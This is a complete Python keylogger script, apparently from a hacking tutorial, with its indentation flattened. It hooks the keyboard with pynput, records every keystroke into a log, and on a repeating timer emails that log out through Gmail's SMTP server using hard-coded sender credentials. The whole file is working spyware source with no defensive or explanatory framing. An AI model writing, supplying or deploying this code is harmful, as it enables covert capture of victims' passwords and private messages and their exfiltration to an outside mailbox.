# !/usr/bin/env python

import pynput.keyboard

import threading

import smtplib

class Keylogger:

def \_\_init\_\_(self, time\_interval, email, password):

self.log = "KEYLOGGER STARTED"

self.interval = time\_interval

self.email = email

self.password = password

def append\_to\_log(self, string):

self.log = self.log + string

def process\_key\_press(self, key):

try:

current\_key = str(key.char)

except AttributeError:

if key == key.space:

current\_key = " "

else:

current\_key = " " + str(key) + " "

self.append\_to\_log(current\_key)

def report(self):

self.send\_mail(self.email, self.password, "\n\n" + self.log)

self.log = ""

timer = threading.Timer(self.interval, self.report)

timer.start()

@staticmethod

def send\_mail(email, password, message):

server = smtplib.SMTP("smtp.gmail.com", 587)

server.starttls()

server.login(email, password)

server.sendmail(email, email, message)

server.quit()

def start(self):

keyboard\_listener = pynput.keyboard.Listener(on\_press=self.process\_key\_press)

with keyboard\_listener:

self.report()

keyboard\_listener.join()